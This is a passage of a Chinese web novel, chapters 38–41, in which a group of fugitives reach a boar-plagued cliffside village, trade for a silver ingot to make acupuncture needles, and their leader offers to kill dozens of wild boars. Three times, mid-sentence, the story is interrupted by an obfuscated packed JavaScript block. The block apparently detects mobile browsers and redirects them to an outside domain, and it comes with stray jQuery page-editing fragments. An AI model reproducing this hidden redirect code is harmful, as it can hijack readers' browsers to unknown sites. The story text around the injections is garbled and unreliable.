“你以为银针是银锭子制成的?”佟槿方露出“你个门外汉”的表情,“制银针的银坨子需要从土里挖出来的纯银,而且那纯银坨子还需存放个几年,才最适合拿来制银针!” 燕惜妤拧着眉说:“这么麻烦?” “总之你就安生地等去到乌州再说这事吧,”佟槿方摆出爱莫能助的表情,“你眼下连能用来制针的纯银坨子都没有。” “谁说我没有,”燕惜妤一挑眉,“别的没有,你说的纯银坨子我还真的就有。” “这不可能!”佟槿方忽然提高的声音惊飞了树上栖息的飞禽。 38. 第38章 虽然是仲夏,但山里的夜晚还是很凉爽的。 清晨时,罗采春和佟瑰方起的最早。 她们很有默契地拿出小铁锅和小瓦锅烧水,硬馍太硬了,她们喜欢泡成面糊糊再吃。 只有四个陶钵,不过仲茂他们五兄弟倒也不介意干啃硬馍馍。 之前这一路,他们都是靠采些野果来充饥,现在能吃上些硬馍馍,他们的肚子总算是不再反酸水了。 不过这两筐干粮却不够他们九个人吃几天的,看来要想办法去附近的村子里买些吃食。 罗采春虽然是身无分文,佟瑰方却是有些银子防身的,佟槿方当了十年乞丐,从死人身上也扒了些许银子。 但此时的佟槿方却像是被厉鬼缠身似的一脸的衰疲委顿。 “阿弟?”佟瑰方惊讶地看着眼下发青,神情疲惫的佟槿方,“莫不是昨儿夜里没睡好?” 按理来说不应该,佟槿方都当了十年乞丐了,一直过着的都是幕天席地露宿街头的日子,不至于在野外睡一宿就变成这样子。 “怎么了?”佟瑰方问他。 已经换回男子衣着的佟槿方有气无力地说:“阿姐,燕姑娘说她要尝试银针刺穴。” “你同她说了那秘笈之事?”佟瑰方拧眉问,“可我们身上并无银针,你可与燕姑娘讲清楚了?” “讲了,我讲得再清楚明白不过了!我还同她说了制银针需用那存了几年的银坨子,”佟槿方瘪着嘴说,“可她说她有银坨子。” 佟瑰方看了看自家阿弟,颇为无奈地说:“你还同她说了我会手制银针?” “……说了,”佟槿方一脸泄气地说,“她太聪慧了,就没有她不能知晓的事情。” “既然这是燕姑娘自己的选择,你之前也答应了她,”佟瑰方沉着地说,“我们就帮她治病吧。” “可是阿姐……”佟槿方眼中有着怯意,“我怕……”他明知道那银针刺穴的方法是死路一条,他若真动手,那燕惜妤可就要死在他手上! “阿弟不怕,”佟瑰方眼神坚毅,“阿姐陪着你,如若真出了事,阿姐把我自己这条命赔给她。” “阿姐你就不要再添乱了!”这下佟槿方更害怕了,万一他要是真把燕惜妤扎死了,到时候还要赔上他长姐的一条命。 “他们姐弟俩在说着什么?”罗采春正拿出四个陶钵泡着硬馍馍,而仲茂他们五人,坐在一旁正啃着干粮。 “不知道啊,”燕惜妤对很多事都不怎么上心,但偏偏她又好像对任何事情都能了然于胸。 罗姑娘摇摇头,她把刚好的面糊糊放在燕惜妤面前,然后问:“我该唤你什么才好?” “嗯?”燕惜妤捏着木勺子的手一顿,“我不是你的小丫吗?” “你才不叫小丫,”罗采春嗔了她一句,“我唤你燕姑娘可好?” “我难道不是三姐的阿妹吗?”燕惜妤换上震惊的表情看着罗采春,“我怎么就成燕姑娘了?外人才那么叫我。” “好好好,你是我的阿妹,慢些吃,当心烫。” 罗采春其实真的很怕和燕惜妤变得生分,她已经无所依靠了,老天可怜她,才让她遇见了燕惜妤,虽然燕惜妤也是女子,女子都是脆弱的,她不能连累对方,可她实在是没办法了啊! 罗采春低下头,垂着的眼帘挡住了她眼中的歉疚。 燕惜妤“咕咚咕咚”几口吃了陶钵里的面糊糊,接着又倒了些开水在陶钵里先晾着,然后她就朝仲茂他们五人走去。 “当家姑娘!”仲茂他们一见她过来,连忙想站起身。 “都坐着,”燕惜妤盘腿在他们面前坐下,神情温和地看着仲五,“仲五哥,昨日过来的那位老村长的住处,你能找到吗?” 仲五一个翻身蹦了起来:“我能!” 然后他又挠着头说:“那个、当家姑娘还是喊我仲五吧,我听见别人喊我仲五哥……我心里头慌得紧。” 燕惜妤看看他,又转头去看仲茂。 仲茂连连点头:“是哩,我听着心里头也慌。” “那我以后就喊你们的名字,”燕惜妤露出赞叹的笑容看着仲五,“仲五有这身本领,日后定能出人头地。” 仲五嘻嘻地憨笑着,其他几人都用热切而期盼的眼神看着他,就仿佛这一刻燕惜妤说仲五能出人头地,下一霎仲五就真的能出人头地似的。 等收拾好之后,几人就给马套上了板车,然后一行人跟着仲五走。 佟槿方还愁眉苦脸的,这会儿走在最后头,一开始还没精打采,后来走的路越来越生,不像是平时官道的样子,他这才发现了不对劲。 “……阿姐,我们这是去哪?”他问佟瑰方。 佟瑰方说:“听仲二他们几个说,是去找昨日要抢我们马的那些村民。” “找他们做什么?”佟槿方一头雾水,但他却又低声说,“她做事总是让人猜不透,却又每每都能事半功倍。” 仲茂一手砍刀,一手长树枝,带着一行人穿梭在树林中,四周全是膝盖高的野草,脚下踩着的,全是腐烂的落叶。 “这地儿怎么越走越荒?”树林中很阴冷,佟槿方手里也拿着根仲茂递过来的木棍在草丛里敲敲打打,但他更在意的是那些大树,总觉得树后面会忽然蹦出个吓人的东西来。 “确实是荒凉了些,”佟瑰方点头。 其他人也发觉了这个怪现状。 “这山里莫不是没人上来过?”仲茂右手里拿着砍刀,左手拿总木棍在前头开路,仲五跟在他身后。 “阿妹,这里……”罗采春也拧起了眉,“附近若是有村子,山脚怎的会这么荒?” 他们这时已经走到了山脚,眼前是一大片撂荒多年的土地,那蒲苇长得比人都高。 燕惜妤走在罗采春身边,一脸认同地点头:“是有点荒凉。”其实她根本就不清楚,一穿过来她就想着逃跑,完全没时间去了解大承的各种民生。 “不过,我好像听见了波涛声,”燕惜妤侧耳仔细听了听,确实是波浪拍打岩壁的声音。 这附近难道有江河?还是大海? 这时仲二站在一个小土堆上,指着前头冲这边喊:“当家姑娘快看,那边是村子!” 仲茂两步上前,一手将他从小土堆上扯了下来:“走路不带眼,你踩人家坟头了。” 仲三和仲四走在最后,他们负责牵着马,马还拉着板车,走的比较慢。 “找到村子了?在哪儿呢?” 他们俩四处看,燕惜妤也在看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14370000|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村子的方向。 “当家姑娘,咱过去吗?”仲茂问。 燕惜妤多看了两眼那些浓密的蒲苇,对仲五说:“找找他们村子里的人平常出入的小路,我们不要乱钻这片野草。” “好嘞,”仲五很快就在人高的蒲苇丛中找到了一条被人踩出来的小路。 这小路只有三人宽,板车刚好能过。 “大家不要钻进草里,”燕惜妤提醒了一句。 其实她不提,大家也不敢乱走,野草里藏着的毒蛇可不少。 走了才一小会,最前后的仲茂忽然停了下来,有东西拦住了他的路。 那是被藤条捆绑着的有木板车轮那么高的一大团荆棘。 “他们拿这玩意儿搁这儿挡道呢,”仲茂用木棍将荆棘团扒拉到旁边。 燕惜妤见了,冲后头牵马的仲三仲四说:“仲三仲四,等会你们要记得把这荆棘团扒拉回来。” “好嘞,”仲三立即说,“当家姑娘你且放心,我一准记得。” 这片蒲苇有点大,大家顺着小路走着,竟然遇见了六、七个荆棘团。 “这些玩意儿能挡得住谁?”仲茂边扒拉荆棘团边嘀咕了一句。 穿过蒲苇丛,眼前是一大片铲去了蒲苇的空地,不过空地上已经长出了不少野草。 需要走过这片空地,才能去到那小村子。 但这空地上有点奇怪。 离着蒲苇丛大概有五、六十米的位置,是一排呈半圆的土坑,每个土坑大概间隔着三、四米。 “这又是什么?”仲茂走到一个土坑旁看了看,接着又走到另一个土坑旁看了看,然后回头冲这边喊,“当家姑娘,这些全是火塘。” “火塘?”罗采春奇怪地说,“火塘不挖在堂屋里,挖外头做甚?”大雪天谁在这外头烤火? 燕惜妤看了眼那呈半圆包围着村子的火塘坑,抬脚往里走,其他人连忙跟上。 而在火塘之后,全是坑坑洼洼的土坑,看样子这些土坑是有人特地挖出来的,但这些坑也没能挖多深,刚会走的小娃娃踩进去自个儿就能爬出来。 “……看着怎么这么让人心里发怵呢,”佟槿方走一步停一步,“挖这么多坑做什么?挖来埋人吗?那这村子里的人该不会全死光了吧?” 这片空地有大大小小数不尽的土坑,这得往里埋多少人啊! 一行人绕着土坑走,仲茂他们五人还一人负责牵马,其他四人负责抬着板车走,是坚决不让板车掉坑里。 走过了满是坑的空地,眼前就又是奇怪的景象。 在离村子前大概五、六十米的地方像是在砌土墙,看那土墙的厚度,是按着建城墙的规格来的。 只不过这土墙根本就没能建起来,这边不到膝盖高,那边还有不少缺口。 看这建不起来的土墙,应该也是呈半圆的扇形。 “当家姑娘,这里该不会是土匪村吧?”仲茂不亏是曾经想当土匪的人,这会儿说出了他自认为是真相的猜测。 罗采春显然是信了仲茂的话,连忙喊住燕惜妤:“阿妹,我们来这做甚?” 燕惜妤想了想,对其他人说:“你们在这等着,我自己进去看看。”说完,一抬脚就跨过了那堵没有膝盖高的土墙。 39. 第39章 村子外面奇怪,村子里也奇怪。 说这小村子贫穷吧,确实很贫穷,门前屋后连个破罐子,或者是旧凳子都没看见。 但家家户户的院墙却是厚土墙,没有一户人家用木篱笆墙。院门还是厚木板,而且还是双重门,第一道门往外开,第二道门往里开。 院墙有肩膀那么高,在外面大致能看见院子里的情况。 院子里倒是很普通的样子,角落堆着劈好的柴火,院子一侧种着几垄蔬菜,有些人家还搭着瓜豆棚。 房子也是土墙,不过每家每户都只盖着一间大屋子,而且窗子开在很高的位置上,窗格子也很小,估计只能伸出一个人的脑袋,最重要的是屋子的屋门也是两重门。 和院子门一样,第一道门是往外开的,虽然看不见屋里的情况,但第二道门应该是往里开的。 这村子是有些奇怪,但不像土匪村,反倒是像在防着某些……野兽? 燕惜妤在村子外面的几间房屋外走了走,没看见一个村民,却发现每家每户都靠墙立着一把木长梯。 她又抬头看了看,村后的某个方向有炊烟升起。 燕惜妤想了想,忽然张嘴喊:“铁牛,我把马牵来了,你不是想给老村长治病吗?” 她这一嗓子喊出来,还没把村里人惊到,倒是先把佟槿方他们吓了一跳。 “她这到底要做什么?”佟槿方有点目瞪口呆。 “大哥,当家姑娘这是啥子意思?昨儿个不是说马不能给他们吗?”仲二问。 “咱也过去,”仲茂和仲二他们抬着板车往村里走,很快就走到了燕惜妤的身旁。 “你们怎么过来了?”燕惜妤看他们一眼。 “他们村里人多,咱也不能落了后!”仲茂很显然是带着兄弟来给燕惜妤撑腰的。 燕惜妤笑笑,刚想再喊两声,某个角落里忽然闪出了一个人影,大家定睛一看,正是昨日带人劫马的铁牛。 “你们昨来了俺们的村子?”铁牛手里还拿着一把锄头,他表情有些失望地盯着这边,“老村长不让俺抢你们的马。” “治病也不是非得要我的马,”燕惜妤向前走了两步,用商量的语气说,“你们不就是需要找郎中看病,然后再拿银子抓,我身边跟着郎中,我也有银子。” 她前面说的话,铁牛都没听进去,但“有银子”这几个字却是听见了:“你肯给俺银子!” “你们老村长说给了你一个银坨子,你把银坨子给我,我用银子和你换,”燕惜妤说出了她此行目的。 站在最后面的佟槿方一听见这话,猛地瞪大了双眼,语气惊悚地对佟瑰方连连低声说:“阿姐!阿姐你听见她方才说什么了吗?她是不是说银坨子?!她怎么知道这些人手里有银坨子的?!!” “先不要慌,”佟瑰方连忙安抚他。 可佟槿方哪能不慌,燕惜妤如果真找到了银坨子,那他就要给她扎银针了啊! 这银针一扎下去,燕惜妤还能活吗?! 佟槿方这边正恐慌着,那边铁牛却是一脸的惊喜:“你真要拿银子换俺们老村长的银坨子?” “嗯,我换,”燕惜妤点头,“银坨子在你手上?你那银坨子有多大?想要换多少银子?” 铁牛一咬牙:“俺要换十两银子。” “果然是个强盗!”一直站在燕惜妤身边的仲茂忽然嗤笑出声,“不仅想抢我们的马,还想讹我们当家姑娘的银子,我拿一两银子去银楼打银钗,银楼单是损耗都要减去一钱,你那银坨子是像山那么大块啊,就敢张嘴要十两银子!给你一两都算多的了。” 燕惜妤很是惊奇地看着仲茂,没想到啊,我这边还藏了个还价高手。 就在铁牛被呛得一时没话说,角落里忽然又传来一个男人的声音:“五两银子,否则我们连医馆的门槛都进不去。” 几人转头一看,是昨日一直举着铲子叫嚣着要抢他们马的村民。这时对方手里同样也举着铲子,身后还跟着拿着弓箭的村民。 “铁牛,已经有人去请老村长了。” “树根,阿石,”铁牛回头对刚来的俩人皱眉说,“老村长还病着。” “这些人都找上门来了,”手里举着铲子的树根说,“俺们可不怕他们!” 面对他警惕的眼神,燕惜妤说:“我不是来打架的,你们把银坨子换给我,我们立马就走。” “五两银子,一个铜板都不能少,”树根坚持说。 “说你们是强盗村果然没说错,”仲茂又嚷了一句。 手里拿着弓箭的人立即把弓弦拉成紧绷对着仲茂,仲茂也不客气地双手紧握着砍刀。 燕惜妤扫了那把弓箭一眼,虽然制造的粗糙了些,箭头还是石头磨出来的,但这弓和箭还是能用的。 就在箭拔弩张时,不远处传来了几声苍老的咳嗽声。 之前老村长是被人用木板抬出去的,估计是在自家村里路不远,所以这回是被俩个村民搀扶着过来的。 “老村长,”铁牛连忙迎了上去,“昨日的这伙人寻了过来,说要拿银子换您手里的银坨子,树根说要换五两。” 老村长半蜷着身,因为直不起腰,只能尽量抬头看向这边。 只能说姜还是老的辣,他一眼就看出了燕惜妤是这些人之中作主的。 “女娃娃,你们这是打哪儿来?” 这个燕惜妤还真有点不好说,她和罗采春是从仓州逃出来的,佟瑰方姐弟是从窉州逃出来的,至于仲茂他们五兄弟也是逃出来的…… 怎么她这边好像全是会被追捕的人? 所以她只能说:“我们路过,老村长,你们村里在防御山里的野兽吧。” “哦,女娃娃为何这样说?”老村长很和蔼地问。 “一眼就能看出来,”燕惜妤抬手往后指了指,“那些一看就是为了防止野兽进村才做出来的。”就是不知道为什么会半途而废。 “女娃娃觉得会有什么野兽跑来我们村里?”老村长反问。 “荆棘团防不了熊和老虎,也防不了狼,因为狼会跳跃,”燕惜妤边分析边说,“院墙差不多有人高,又是起围墙又是挖坑和火塘,估计是想防野猪吧?” 她这话一出口,老村长他们还没怎么样呢,仲茂却是唰的一下就变了脸色。 “野猪?防野猪?!!”他瞪着眼睛紧盯老村长他们,“这里难道是窉州和麀州交界,两不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379878|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的悬崖村?” 他越说越大声,最后嗓音都变了:“野猪领说的是不是就是你们这?!!” 树根忽然学他之前那样讥笑了一声:“俺以为你们知道才进的村,敢情是不知道啊,那也迟喽,你们进得来,可出不去喽。” 燕惜妤还正想着这村子为什么人能进来却出不去时,村里骤然响起了一阵响亮而又令人心惊胆战的铜锣声。 这铜锣声一响,倒是把燕惜妤这些人吓了一跳,而铁牛他们却是动作迅速地一人过来拉马,树根和阿石过来抬板车,而老村长被俩人架着,还不忘回头冲他们喊。 “都来我家这边先避着!” 仲茂也立即一手扯燕惜妤一手扯仲五,同时嘴里还喊着:“快,跟着他们跑!” 一行人莫名其妙地跟着跑,燕惜妤边跑边回头,离得太远,树木葱茏而野草又高又浓密,根本看不见野猪从什么地方闯进来。 老村长的家和其他村民的家一样,土墙的院子两道门,屋子也两道门。 木板车被随便地丢在院子里,马却是牵进了屋里。 这村子虽然家家户户都只盖一间屋子,但这间屋子却盖得很长,从正中的大门进来,先是看见一条长廊,而长廊内最起码有五间房。 燕惜妤看见树根先是迅速地关了院子的第一道门,紧着利索地翻爬着院墙进了院子,然后关院子的第二道门。 关了院门之后,他又过来关屋外的第一道门,这门确实是需要人站在门外关,但关门的人还在门外。 屋子的墙壁可比院墙高太多,而且屋子有屋顶,难道等会他躲屋顶上去? 阿石像是没看见树根还在外面关门,他就已经关了屋里的第二道门,然后立即走到走廊的左边角落里。 燕惜妤一看,角落同时立着一把木梯子,再抬头,茅草屋顶上在那个角落里竟然有一个天窗。 这时树根已经从屋外的木梯爬了进来,他站在屋内的木梯最上边,小心地把屋外的梯子拉上来,然后阿石在下面接着,等树根从木梯下来时,阿石也已经把木梯放好了。 两把木梯并排放在一起,原来这就是为什么每家每户屋外都有一把木梯的原因。 “……他们这么有默契,莫不是从小就已经习惯了?”罗采春喃喃自语道。 “想来该是的,”佟瑰方小声说。 “都进来坐吧,”老村长在正中的堂屋里唤他们。 燕惜妤带着人进来,发现屋里有不少人,除了之前在外面看见的那几个村民,另外还有三个男人。 这三个男人燕惜妤认得,就是昨天跟在老村长身后的那三个身体有伤的人。 “打扰老村长了,”燕惜妤随意地挑了张靠门的木凳子坐下,其他人也各自找凳子。 铁牛还给每个递了一碗水,只是水还没喝进嘴里,外面就响来了野猪的嚎叫。 紧接着,就是野猪撞击门板的木门震响声。 屋里所有的人都不敢吭声,就连站在走廊里的马,都被一墙之隔的声音扰得打了好几个响鼻。 燕惜妤仔细听了会,又想到刚才仲茂的表情,微微眯了眯眼睛。 看来野猪领的野猪数量是真的不少。 40. 第40章 野猪在村子里乱窜乱闯,见到门就撞,撞的那些个厚木门“嘭嘭”直响,震的门框上的泥沙“簌簌”往下掉。 边撞门,嘴里边“哼哼”,哼的时候,前蹄子还在刨着地。 也不知过了多久,野猪闯村的声音才渐渐消失。 屋子里的众人面面相觑,燕惜妤这些人不知道能不能开口说话,而树根已经熟悉地出了屋,又从前廊角落里的那个天窗爬了上去。 又过了好一会儿,才有人大声吆喝了几声,铁牛听见了这声音,才带着阿石出来开门,树根已经在院子里把门全都打开了。 燕惜妤跟着出来一看,院子大门前的地面已经被野猪刨出了一个小坑。 仲茂缩着脖子在院子外左右看了看,然后才心有余悸地说:“都说一猪二熊三老虎,在山里时,隔老远被这野猪瞧见,这家伙一准就埋头撞过来,那脸上嘴边的獠牙可太吓人了,一撞就给人捅出几个大窟窿。” “可不是,这些个野猪见人就撞,不把人撞死它绝不走!”仲二擦着自己额头上的冷汗,“往常村里没人被狗熊和大虫咬死,却经常有人被野猪的獠牙扎死。” 老村长这时候也被人搀扶着走了出来,有手里拿着砍刀的村民走了过来,和老村长说了两句,告诉老村长村里人都安好,老村长这才长长吁了一口气。 “女娃娃,野猪群回山了,你们快些离开吧,”老村长看向这边,“我那银坨子同你换二两银子,你说行吗?” “老村长,咱先坐着说,”燕惜妤没点头,而是回身走回院子里,随便找了块木柱子坐着。 等老村长也坐下后,燕惜妤才问他:“老村长,你们村里经常这样闹野猪,衙门不管吗?” “不管,”老村长叹气道,“方才你身旁的这位男娃就说了,咱这是两不管。” “两不管?”燕惜妤想了想,才说,“是不是就是因为有两方人,才造成眼下的两不管?”如果只有一个衙门管辖,那就不可能不管。 “咳咳咳,”老村长咳了几声,然后将他身边那个瘸着腿的中年男人叫了过来,“水生,你同客人讲讲咱这村子的往事吧,女娃娃,这是我不成器的长子,就让他代替我说吧。” “那就劳烦水生叔了,”燕惜妤看着对方说。 水生一瘸一拐走过来,在老村长身后坐下,然后将两不管的悬崖村很久之前的事慢慢讲给大家听。 这条小村子建在上渜江的悬崖边,所以被外面的人称为悬崖村。最早前,悬崖村这地界虽然在窉州和麀州交界外,但属于窉州管辖,那时村里的村民都种着田地,虽然偶有野猪下山,但每年都还是能交得起田税的。 后来,宫里头有位王爷被当时的皇帝封为永义王,得到的封地就在麀州,刚好和窉州交界。再不知是怎么的,原本属于窉州的悬崖村和野猪领还有附近几座大山,在某天忽然就成为了永义王的封地。 自那时开始,窉州收税官每年都来收两次田税,而那永义王的属官也每年来收两次田税,这样一来,悬崖村的村民日子可就难熬了。 就在村里的村民投诉无门,正想着拖家带口跳悬崖时,有位老秀才忽然想出了一个法子,他让村里人不再种地,不种地就不用交田税。 只是这样一来,悬崖村就成了两不管地界,野猪领的野猪没衙差去抓,也就越来越多,一代接一代之后,这里就彻底成为了野猪的地盘。 “唉,”老村长叹道,“我这把老骨头没就没了吧,可他们这些娃娃都还小,我是想多护着他们几日,可这野猪哪能如人愿,我这几个儿子跟着我护村子,全都被野猪伤了,村里其他人也伤了不少,可我们哪有闲钱能治病,所以他们才想着去抢你们的马换银子,女娃娃,老头子在这替他们给你赔不是了。” 老村长三个儿子,长子水生瘸了腿,次子水泽估计是伤了脊椎直不起腰,三子长生则是走一步喘三声,极有可能是被野猪撞伤了内腑。 “……怪不得你们一出门手里都拿着大砍刀,”仲二挠着头说,“我还以为你们是想将我们都赶出去。”原来是拿着刀具和野猪拼命啊。 “是挺可怜的,”连一向对别人冷眼的罗采春都说了这么一句。 仲茂也跟着说:“唉,你们村子的人又不能全部搬走,外头没州县会愿意接收你们,毕竟那些个州官都怕得罪了永义王,二来就算有州县敢接收你们,你们也没田地,想活着就只能当佃农,佃农也惨啊,交了租子剩下的食粮都不够过冬。”他也是被压榨被欺凌的穷苦人家,他知道悬崖村村民的不易。 燕惜妤坐着没说话。 她知道老村长藏了些事没说。 悬崖村虽然不种田,但他们有着自己能活命的营生,而且这营生绝对就藏在村子里,否则老村长不会想在外面建起厚围墙。 “老村长,外面的土坑和围墙为什么都停工了?”燕惜妤看着老村长问,“要是土坑能挖深,围墙能建高,是能挡住野猪闯进村的。” “唉,那些个野猪喜欢凑热闹,”老村长摇头叹息着,“要是我们都躲屋里不出门,野猪顶多隔三岔五来一趟,可要是我们村的人聚在一起挖坑或建土墙,那些个野猪就会成群结队从山上冲下来,见人就是又撞又踩。” 燕惜妤眯了眯眼睛,老村长说的如果是真的,那野猪领的野猪已经形成了狩猎人类的习性。 “这些个畜生!”仲二骂了一声,然后他义愤填胸地说,“老村长,野猪领有多少野猪,咱帮你抓野猪去!” “咳咳,”老村长轻咳着说,“野猪领少说也有好几百头野猪。” “好、好几百头野猪?这么多?!!”仲二顿时惊的瞪大了眼睛。 “所以我才让你们换了银坨子就赶紧走,”老村长说。 罗采春几人立即看向燕惜妤。 燕惜妤想了想,对佟瑰方说:“佟阿姐,你来一下,我问你件事。” 佟瑰方跟着她走到角落里,然后问:“燕姑娘是想问银坨子制银针的事?” 真是聪明。 “是,”燕惜妤点头,看着佟瑰方说,“佟阿姐,你制银针要多久?需又要多少纯银才能制针?” “佟家祖上初时用的是十三针,依我阿弟说的,给你治病只要三根银针,可如果扎三针真有用,极有可能会全用上,制十三根银针需要七两纯银,如能有八两最好,”佟槿方说,“制十三根银针,需要七日,而且还需要不少柴火,最重要的是我制银针时,除了我弟,不能有旁人在身侧。” 佟瑰方说出这些话时,她心中其实是很忐忑的,眼下这情况,这些要求多少有些为难燕惜妤了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389543|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我知道了,”燕惜妤点点头,转身走回去坐下,然后她和老村长开始商量,“老村长,我需要你手中的银坨子,我能问问你那银坨子有多少两吗?” “有八两多呢,”树根抢着说,“换你五两银子……” “咳,”老村长出声打断了树根,“方才我说换二两银子,足够了。” “嗯,”燕惜妤点点头,然后又说,“老村长,我能在你这村里借宿七、八日吗?” “那不行!”树根又抢着说。 这回老村长没打断他,显然也是默认了他说的话。 “老村长,我们不乱往里走,只需借住在最外边的那些屋里就成,除了这个,我还需要不少的柴火。” 燕惜妤这话才刚说完,树根噌一下就站了起来。 “你知不知晓俺们村里的人每次去砍柴都是拿命换来的!那山脚下你看着全是树,可树后头藏着会啃人肉的野猪!” 仲茂也噌一下紧跟着站了起来,他冲着树根喊:“你嚷什么嚷!我们当家姑娘话还没说完!” “你们欺人太甚!”铁牛和阿石也噌一下站了起来。 这下子仲二他们四个也跟着噌地站了起来:“就不许你们冲当家姑娘大声嚷嚷!” 罗采春他们三人不安地坐着,不时看向燕惜妤。 水生他们三兄弟也坐着,他们身上有伤,要站起来有些吃力。 “都坐下,还是娃娃,咋就说话都这么呛,”老村长用长辈的口吻说了句,然后用犀利的眼神看着燕惜妤,“娃娃你到底想在悬崖村得到些什么?” 引起误会了,这悬崖村果然藏着秘密。 “说了老村长也未必会信我,”燕惜妤转头看了看院子门外的方向,“如果我没猜错,拦在村子外的那大片蒲苇里,其实什么陷阱也没有,对吗?” 老村长没想到她会忽然提到这件事,点点头说:“里面确实没藏陷阱。” “为什么不挖陷阱?”仲二好奇地说,“那片蒲苇又高又密,要是在里面挖几个大坑,野猪掉进去就出不来了。” “是这个理,”老村长很认同仲二的说法,然后看着燕惜妤问,“娃娃觉得我们不挖陷阱是为了什么?” “你们需要去山脚下砍树捡柴火,要是遇到野猪群一时跑不掉,蒲苇能藏人。” “哦!”仲二这才懂了,“蒲苇能藏人,也能遮挡住野猪的视线,这样说不定还能逃掉。” “娃娃当真是聪慧,”老村长赞叹了一声,“那娃娃为何来我这两不管的悬崖村?” 我要说我真是为你那块银坨子来的,你估计也不会信。 “来换你们手上那块银坨子的,”燕惜妤一脸诚恳地说,“还需要在你们村里借住七、八日,同时还需要柴火。” “你身边不是带着人嘛,你们自己去砍树捡柴火吧,”树根冷哼了一声,“至于借住,你们不是有马有板车吗,干脆也住在山下脚得了,砍了柴火还能直接用,懒得来回跑。” “你!”仲茂五兄弟一下子又站了起来。 就连罗采春都拧起了眉。 “这样吧,作为借住在你们村里,和你们帮我砍柴火的酬劳,我帮你们杀几十头野猪怎么样?” 燕惜妤这话一出,震住了在场所有的人! 41. 第41章 “……杀多少头野猪?”树根瞪大着眼睛问。 “几十头……”仲茂喃喃问他。 “娃娃,你怕不是没见过野猪领的野猪,”老村长一张全是皱纹的脸看不出惊讶,他还是很淡定的,“我听见他们几个喊你当家姑娘,可你既然当了家,可不能带着他们这些娃娃去做危险的事啊!” 佟槿方听见这话,悄悄地低下了头。燕惜妤帮他潜进知县府中救出他阿姐,这事也很危险。 “不用他们,他们要护着我三姐和佟家姐弟,”燕惜妤摆摆手,“我自己去杀野猪。” 悬崖村的人,用看傻子似的眼神看着她。 “爹,就让他们住在九爷爷的那屋子吧,九爷爷一直住在六伯家,他那屋子空着,”老村长的三子长生忽然说,“她一个姑娘家,都当着大家的面说出这样的谎来了,就让他们住着吧。” 老村长沉思片刻,最终点头:“行吧,那你们就先住几日,但是,你们只能待在院子里,除非要出村,否则不要出门,他那院子堆着不少柴火,该够你们用了。” 燕惜妤还正想说话,罗采春抢先说:“谢谢老村长,我们赶着路其实很累的,能有间屋子歇几日,肯定都在屋里歇息,不会在村子里闲逛的。” 她开了口,燕惜妤就不再说话了。 仲茂他们几人又是牵马,又是抬板车地出了老村长家的院子。 而佟槿方竟然掏出了两锭银子递给了一直对他们很不友善的树根:“这是二两银子,拿来换你说的那块银坨子。” 树根一看见银锭子,正要伸手拿,但他动作顿了一下,先是看看老村长和水生还有铁牛,见老村长点头,他这才收了佟槿方手里两个银锭子,然后递给了水生。 水生接了银锭子后,铁牛这才有点不情愿地扶着水生走进屋里,然后捧出了一块银坨子。 说是银坨子,其实黑不溜秋的像被沙土腐蚀的石头,又像难看的土疙瘩。 佟槿方接过这难看的银坨子,先是自己仔细看过,然后又递给了佟瑰方。 佟瑰方比佟槿方看的更加用心,还用指甲去掐,最后确定能用,才对燕惜妤点了点头。 “那我们就不打扰老村长,劳烦老村长叫人给我们带一下路,”燕惜妤笑着对老村长说。 老村长对她摆摆手,叫阿石带他们去九爷爷那空着的屋子。 阿石出门时,手里拿着弓箭,肩上还搭着箭囊。 燕惜妤对他手里的弓箭很感兴趣:“这位大哥,请问你拿着的这把弓箭是谁给你制作的?” “这是俺自己做的,”阿石是个二十好几的男人,长得瘦高个,但双手臂的肌肉很结实,“我早些年还在兵营里,那时跟着一位老师傅学会的。” “没想到大哥还有这等奇遇,”燕惜妤又扫了一眼对方肩上的箭囊,“箭头是石子的,比铁箭头更难打磨吧?” “可只有铁箭头才能射死野猪,”阿石的表情有些失落,“野猪皮太厚了,石箭能伤到它们,却无法杀死它们。” 那倒未必。 “下次我试试,看能不能用石箭杀死野猪,”燕惜妤笑着说。 阿石顿时不吭声了。 刚才在老村长家里的村民都当燕惜妤在吹牛,毕竟一村子的人能杀死一两头野猪都算是好的了。 她一个姑娘家,却敢说要杀死几十头野猪,这牛皮吹的,悬崖村没一个人敢信。 阿石把人带到那空着的屋子后,转身就离开了。 佟槿方在院子门口往外看了看,回来对燕惜妤说:“有人在外头守着。” “他们不信当家姑娘!”仲二气愤地说,“敢瞧不起我们当家姑娘!” “嚷嚷什么!”仲茂骂了他一句,然后冷着脸说,“过来牵马。” 燕惜妤带着罗采春在屋里看了一圈,这里比老村长住的屋子要小,院子倒是差不多大,但屋子只有三间,中间是堂屋,左右两边是侧间。 